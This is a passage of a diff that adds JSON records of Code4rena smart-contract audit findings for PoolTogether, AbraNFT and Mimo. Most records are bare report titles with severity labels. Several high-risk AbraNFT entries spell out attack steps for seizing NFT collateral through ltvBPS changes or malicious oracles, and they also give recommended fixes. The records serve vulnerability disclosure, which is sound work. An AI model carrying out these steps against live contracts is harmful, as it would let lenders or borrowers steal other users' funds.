SuppliedTokenTo(msg.sender, _shares, _depositAmount, _to); } ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/34", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/33", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-pooltogether-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/32", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-04-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/28", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/25", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/24", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-pooltogether-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/22", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-04-pooltogether-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/21", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/20", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/15", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/13", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/12", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-pooltogether-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/11", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-04-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/9", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-04-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "_depositAmount requires to be updated to contract balance increase", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/8", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-04-pooltogether-findings", "body": "_depositAmount requires to be updated to contract balance increase"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/4", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-04-pooltogether-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-pooltogether-findings/issues/2", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-04-pooltogether-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/199", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/197", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/196", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/195", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/193", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/192", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/189", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/182", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/180", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/179", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/178", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/173", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/172", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/169", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/168", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/167", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/165", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/161", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/160", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/159", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/158", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/149", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/148", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/143", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/142", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/137", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "Avoidance of Liquidation Via Malicious Oracle", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/136", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-04-abranft-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-abranft/blob/5cd4edc3298c05748e952f8a8c93e42f930a78c2/contracts/NFTPairWithOracle.sol#L312-L318 # Vulnerability details Issue: Arbitrary oracles are permitted on construction of loans, and there is no check that the lender agrees to the used oracle. Consequences: A borrower who requests a loan with a malicious oracle can avoid legitimate liquidation. ## Proof of Concept - Borrower requests loan with an malicious oracle - Lender accepts loan unknowingly - Borrowers's bad oracle is set to never return a liquidating rate on `oracle.get` call. - Lender cannot call `removeCollateral` to liquidate the NFT when it should be allowed, as it will fail the check on [L288](https://github.com/code-423n4/2022-04-abranft/blob/5cd4edc3298c05748e952f8a8c93e42f930a78c2/contracts/NFTPairWithOracle.sol#L288) - To liquidate the NFT, the lender would have to whitehat along the lines of H-01, by atomically updating to an honest oracle and calling `removeCollateral`. ## Mitigations - Add `require(params.oracle == accepted.oracle)` as a condition in `_lend` - Consider only allowing whitelisted oracles, to avoid injection of malicious oracles at the initial loan request stage "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/135", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/134", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/132", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/128", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/126", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/125", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/124", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/123", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/122", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/121", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/120", "labels": ["G (Gas Optimization)", "sponsor disputed"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/119", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/111", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/110", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/109", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/107", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/103", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}] \ No newline at end of file diff --git a/results/codearena_findings_16.json b/results/codearena_findings_16.json new file mode 100644 index 0000000..bc1d53b --- /dev/null +++ b/results/codearena_findings_16.json @@ -0,0 +1 @@ +[{"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/101", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/100", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/99", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/98", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/95", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/91", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "[WP-M3] `NFTPair.sol#repay()` `loan.borrower` can be a contract with no `onERC721Received` method, which may cause the NFT to be frozen and put user's funds at risk", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/88", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-abranft-findings", "body": "[WP-M3] `NFTPair.sol#repay()` `loan.borrower` can be a contract with no `onERC721Received` method, which may cause the NFT to be frozen and put user's funds at risk"}, {"title": "Using \"transfer/transferFrom\" instead of \"safeTransfer/safeTransferFrom\" throughout the contracts", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/85", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-abranft-findings", "body": "Using \"transfer/transferFrom\" instead of \"safeTransfer/safeTransferFrom\" throughout the contracts"}, {"title": "NFT unrecoverable. Lender might not be able to handle NFT collateral if not implemented `onERC721Received()` function.", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/84", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)"], "target": "2022-04-abranft-findings", "body": "NFT unrecoverable. Lender might not be able to handle NFT collateral if not implemented `onERC721Received()` function."}, {"title": "use of transferFrom", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/83", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-04-abranft-findings", "body": "use of transferFrom"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/81", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/80", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/78", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/77", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/75", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/74", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/67", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/66", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/65", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}, {"title": "Reentrancy at _requestLoan allows requesting a loan without supplying collateral", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/61", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-04-abranft-findings", "body": "Reentrancy at _requestLoan allows requesting a loan without supplying collateral"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/60", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/59", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "Mistake while checking LTV to lender accepted LTV", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/55", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-04-abranft-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-abranft/blob/main/contracts/NFTPairWithOracle.sol#L316 # Vulnerability details ## Impact It comments in the _lend() function that lender accepted conditions must be at least as good as the borrower is asking for. The line which checks the accepted LTV (lender's LTV) against borrower asking LTV is: params.ltvBPS >= accepted.ltvBPS, This means lender should be offering a lower LTV, which must be the opposite way around. I think this may have the potential to strand the lender, if he enters a lower LTV. For example borrower asking LTV is 86%. However, lender enters his accepted LTV as 80%. lend() will execute with 86% LTV and punish the lender, whereas it should revert and acknowledge the lender that his bid is not good enough. ## Proof of Concept https://github.com/code-423n4/2022-04-abranft/blob/main/contracts/NFTPairWithOracle.sol#L316 ## Tools Used Manual analysis ## Recommended Mitigation Steps The condition should be changed as: params.ltvBPS <= accepted.ltvBPS, "}, {"title": "Lender is able to seize the collateral by changing the loan parameters", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/51", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-04-abranft-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-abranft/blob/main/contracts/NFTPairWithOracle.sol#L198-L223 https://github.com/code-423n4/2022-04-abranft/blob/main/contracts/NFTPairWithOracle.sol#L200-L212 https://github.com/code-423n4/2022-04-abranft/blob/main/contracts/NFTPairWithOracle.sol#L288 # Vulnerability details ## Impact The lender should only be able to seize the collateral if: - the borrower didn't repay in time - the collateral loses too much of its value But, the lender is able to seize the collateral at any time by modifying the loan parameters. ## Proof of Concept The [`updateLoanParams()`](https://github.com/code-423n4/2022-04-abranft/blob/main/contracts/NFTPairWithOracle.sol#L198-L223) allows the lender to modify the parameters of an active loan in favor of the borrower. But, by setting the `ltvBPS` value to `0` they are able to seize the collateral. If `ltvBPS` is `0` the following require statement in `removeCollateral()` will always be true: https://github.com/code-423n4/2022-04-abranft/blob/main/contracts/NFTPairWithOracle.sol#L288 `rate * 0 / BPS < amount` is always `true`. That allows the lender to seize the collateral although its value didn't decrease nor did the time to repay the loan come. So the required steps are: 1. lend the funds to the borrower 2. call `updateLoanParams()` to set the `ltvBPS` value to `0` 3. call `removeCollateral()` to steal the collateral from the contract ## Tools Used none ## Recommended Mitigation Steps Don't allow `updateLoanParams()` to change the `ltvBPS` value. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/45", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/42", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/41", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/40", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}, {"title": "Critical Oracle Manipulation Risk by Lender", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/37", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-04-abranft-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-abranft/blob/5cd4edc3298c05748e952f8a8c93e42f930a78c2/contracts/NFTPairWithOracle.sol#L286-L288 https://github.com/code-423n4/2022-04-abranft/blob/5cd4edc3298c05748e952f8a8c93e42f930a78c2/contracts/NFTPairWithOracle.sol#L200-L211 # Vulnerability details ## Impact The intended use of the Oracle is to protect the lender from a drop in the borrower's collateral value. If the collateral value goes up significantly and higher than borrowed amount + interest, the lender should not be able to seize the collateral at the expense of the borrower. However, in the `NFTPairWithOracle` contract, the lender could change the Oracle once a loan is outstanding, and therefore seize the collateral at the expense of the borrower, if the actual value of the collateral has increased significantly. This is a critical risk because borrowers asset could be lost to malicious lenders. ## Proof of Concept In `NFTPairWithOracle`, the `params` are set by the `borrower` when they call `requestLoan()`, including the Oracle used. Once a lender agrees with the parameters and calls the `lend()` function, the `loan.status` changes to `LOAN_OUTSTANDING`. Then, the lender can call the `updateLoanParams()` function and pass in its own `params` including the Oracle used. The `require` statement from line 205 to 211 does not check if `params.oracle` and `cur.oracle` are the same. A malicious lender could pass in his own `oracle` after the loan becomes outstanding, and the change would be reflected in line 221. https://github.com/code-423n4/2022-04-abranft/blob/5cd4edc3298c05748e952f8a8c93e42f930a78c2/contracts/NFTPairWithOracle.sol#L200-L211 In a situation where the actual value of the collateral has gone up by a lot, exceeding the amount the lender is owed (principal + interest), the lender would have an incentive to seize the collateral. If the Oracle is not tampered with, lender should not be able to do this, because line 288 should fail. But a lender could freely change Oracle once the loan is outstanding, then a tampered Oracle could produce a very low `rate` in line 287 such that line 288 would pass, allowing the lender to seize the collateral, hurting the borrower. https://github.com/code-423n4/2022-04-abranft/blob/5cd4edc3298c05748e952f8a8c93e42f930a78c2/contracts/NFTPairWithOracle.sol#L286-L288 ## Tools Used Manual review ## Recommended Mitigation Steps Once a loan is agreed to, the oracle used should not change. I'd recommend adding a check in the `require` statement in line 205 - 211 that `params.oracle == cur.oracle` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/30", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/29", "labels": ["G (Gas Optimization)", "sponsor disputed"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}, {"title": "The return value `success` of the get function of the INFTOracle interface is not checked", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/21", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-04-abranft-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-abranft/blob/5cd4edc3298c05748e952f8a8c93e42f930a78c2/contracts/interfaces/INFTOracle.sol#L10-L10 # Vulnerability details ## Impact ``` function get(address pair, uint256 tokenId) external returns (bool success, uint256 rate); ``` The get function of the INFTOracle interface returns two values, but the success value is not checked when used in the NFTPairWithOracle contract. When success is false, NFTOracle may return stale data. ## Proof of Concept https://github.com/code-423n4/2022-04-abranft/blob/5cd4edc3298c05748e952f8a8c93e42f930a78c2/contracts/interfaces/INFTOracle.sol#L10-L10 https://github.com/code-423n4/2022-04-abranft/blob/5cd4edc3298c05748e952f8a8c93e42f930a78c2/contracts/NFTPairWithOracle.sol#L287-L287 https://github.com/code-423n4/2022-04-abranft/blob/5cd4edc3298c05748e952f8a8c93e42f930a78c2/contracts/NFTPairWithOracle.sol#L321-L321 ## Tools Used None ## Recommended Mitigation Steps ``` (bool success, uint256 rate) = loanParams.oracle.get(address(this), tokenId); require(success); ``` "}, {"title": "to/loan.borrower is unchecked in removeCollateral()/repay(), which can cause user's collateral NFT to be frozen", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/20", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-abranft-findings", "body": "to/loan.borrower is unchecked in removeCollateral()/repay(), which can cause user's collateral NFT to be frozen"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/15", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/13", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/12", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-abranft-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/11", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/8", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/7", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-abranft-findings/issues/5", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-abranft-findings", "body": "Gas Optimizations"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/174", "labels": [], "target": "2022-04-mimo-findings", "body": "Agreements & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/165", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-mimo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/162", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-mimo-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/157", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/154", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-mimo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/153", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-mimo-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/152", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-mimo-findings", "body": "QA Report"}, {"title": "ABDKMath64 performs multiplication on results of division", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/151", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-04-mimo-findings", "body": "ABDKMath64 performs multiplication on results of division"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/150", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-mimo-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/149", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-mimo-findings", "body": "QA Report"}, {"title": "SuperVault's leverageSwap and emptyVaultOperation can become stuck", "html_url": "https://github.com/code-423n4/2022-04-mimo-findings/issues/145", 